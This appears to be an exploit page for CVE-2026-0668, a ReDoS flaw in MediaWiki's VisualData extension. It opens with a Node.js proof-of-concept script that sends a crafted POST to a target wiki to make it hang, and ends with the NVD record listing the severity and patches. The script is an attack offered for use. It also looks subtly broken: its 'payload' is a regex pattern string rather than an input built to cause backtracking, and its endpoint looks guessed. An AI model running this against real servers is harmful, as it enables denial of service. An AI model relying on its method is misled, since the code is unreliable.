CVE-2026-0668

// CVE-2026-0668 PoC - Regular Expression Exponential Blowup // Target: MediaWiki VisualData Extension 1.45 // Attack Type: ReDoS (Regular Expression Denial of Service) const http = require('http'); // Malicious payload designed to trigger catastrophic backtracking // Pattern: multiple overlapping capture groups with nested quantifiers const generatePayload = () => { // Generate ReDoS payload for vulnerable regex patterns // Adjust length based on target regex complexity const basePattern = '([a-z]+)+'; const evilSuffix = 'XXXXXXXX'; // Extended character sequence return basePattern.repeat(5) + evilSuffix; }; const targetUrl = 'http://target-server/wiki/Special:VisualData'; const maliciousData = generatePayload(); const postData = JSON.stringify({ action: 'visualize', data: maliciousData, format: 'json' }); const options = { hostname: 'target-server', port: 80, path: '/wiki/Special:VisualData', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); }); req.write(postData); req.end(); console.log('ReDoS PoC sent - target may hang or timeout');

{"cve": {"id": "CVE-2026-0668", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-01-07T18:15:52.873", "lastModified": "2026-02-24T18:32:21.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inefficient Regular Expression Complexity vulnerability in Wikimedia Foundation MediaWiki - VisualData Extension allows Regular Expression Exponential Blowup.This issue affects MediaWiki - VisualData Extension: 1.45."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wikisphere:visualdata:-:*:*:*:*:mediawiki:*:*", "matchCriteriaId": "AAD8093D-9F46-4862-A655-14560FD2297E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:mediawiki:mediawiki:1.45.0:*:*:*:*:*:*:*", "matchCriteriaId": "EE14F82E-8C8A-43F0-9A96-D3767A62DFC8"}]}]}], "references": [{"url": "https://gerrit.wikimedia.org/r/q/I4ff2737c9f0ba805267d1fc8296e7cff61241ee3", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://gerrit.wikimedia.org/r/q/I893a9fca694a2613e29e149dea2d76d7f06063e5", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://gerrit.wikimedia.org/r/q/Ie08d9a8ceb2c9a22a635cfc27964353f14072dbf", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://gerrit.wikimedia.org/r/q/Ifbf9c2ade621226e14fe852f3217293772bf8bb8", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://phabricator.wikimedia.org/T387008", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Exploit", "Issue Tracking"]}]}}